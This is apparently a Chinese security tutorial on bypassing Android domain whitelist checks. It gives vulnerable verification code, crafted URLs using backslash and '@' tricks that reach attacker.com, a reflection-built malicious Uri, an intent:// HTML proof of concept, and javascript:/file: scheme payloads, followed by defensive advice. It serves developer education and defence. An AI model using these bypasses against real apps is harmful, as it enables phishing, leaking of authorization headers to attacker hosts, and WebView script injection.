绕过Android域名白名单校验的方法
字数 1081 2025-08-18 11:38:49
Android域名白名单校验绕过方法深度解析
引言
Android应用中许多组件具有响应外部链接的能力,如果攻击者能随意指定这些组件响应的URL,可能导致钓鱼攻击或远程代码执行。开发者通常使用域名白名单校验来防御此类攻击,但由于对底层实现理解不足,可能导致看似安全的校验被绕过。本文将详细解析几种常见的绕过方法及其原理。
一、利用反斜杠""绕过校验
1.1 典型漏洞代码
Uri uri = Uri.parse(attackerControlledString);
if("legitimate.com".equals(uri.getHost()) ||
uri.getHost().endsWith(".legitimate.com")) {
webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
}
1.2 绕过方法
攻击者可以构造以下URL绕过校验:
String url = "http://attacker.com\\.legitimate.com/smth";
// getHost()返回"attacker.com\.legitimate.com",通过endsWith校验
// 但实际加载时会纠正反斜杠,访问attacker.com
String url = "http://attacker.com\\@legitimate.com/smth";
// getHost()返回"legitimate.com",通过equals校验
// 实际加载时访问attacker.com
1.3 原理分析
android.net.Uri的parse()方法存在安全缺陷:
StringUri类未对authority部分的反斜杠做特殊处理AbstractHierarchicalUri的parseHost()方法会将@符号前内容作为UserInfo截断
1.4 影响范围
- 漏洞编号:CVE-2017-13274
- 影响系统:Android 8.1.0_r33之前版本(主要是Android 6及以下)
- 修复时间:Google在2018年4月安全公告中发布补丁
二、反射调用HierarchicalUri构造Uri
2.1 改进后的校验代码
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
uri.getUserInfo() == null &&
"legitimate.com".equals(uri.getHost());
if(isOurDomain) {
webView.load(uri.toString(), getAuthorizationHeaders());
}
2.2 绕过方法
通过反射构造特殊Uri对象:
// 获取相关类和构造方法
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
// 构造恶意Uri
Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
Uri uri = (Uri)hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
// 输出结果
// Scheme: https
// UserInfo: null
// Host: legitimate.com
// toString(): https://legitimate.com@attacker.com
2.3 原理分析
- 通过反射直接调用
HierarchicalUri私有构造函数 - 构造的Uri对象能通过所有校验,但
toString()返回的URL实际指向攻击者域名
2.4 限制与绕过
- Android P+限制non-sdk的@hide API访问
- 截至Android Q Beta 4仍有绕过方法
2.5 修复建议
对传入的Uri对象再加一次parse()处理:
Uri uri = Uri.parse(getIntent().getData().toString());
// 再进行校验
三、远程利用方法
3.1 典型intent-filter配置
<activity android:name=".DeeplinkActivity">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="legitimate.com"/>
</intent-filter>
</activity>
3.2 远程攻击PoC
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">
Click Attack v3
</a>
等价于执行:
Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")
四、缺少scheme验证的绕过
当开发者只校验host而忽略scheme时,可构造以下攻击:
javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html
五、防御建议
- 全面校验:同时校验scheme、host和userInfo
- 双重解析:对传入的Uri先toString()再parse()
- 严格模式:使用
Uri.Builder构建URL而非直接拼接 - 更新系统:确保应用运行在已修复相关漏洞的Android版本上
- 白名单校验:使用严格的全匹配而非endsWith等模糊匹配
六、参考链接
- HackerOne报告
- Android安全公告:CVE-2017-13274、CVE-2017-13176
通过深入理解这些绕过方法的原理,开发者可以构建更安全的域名白名单校验机制,有效防御此类攻击。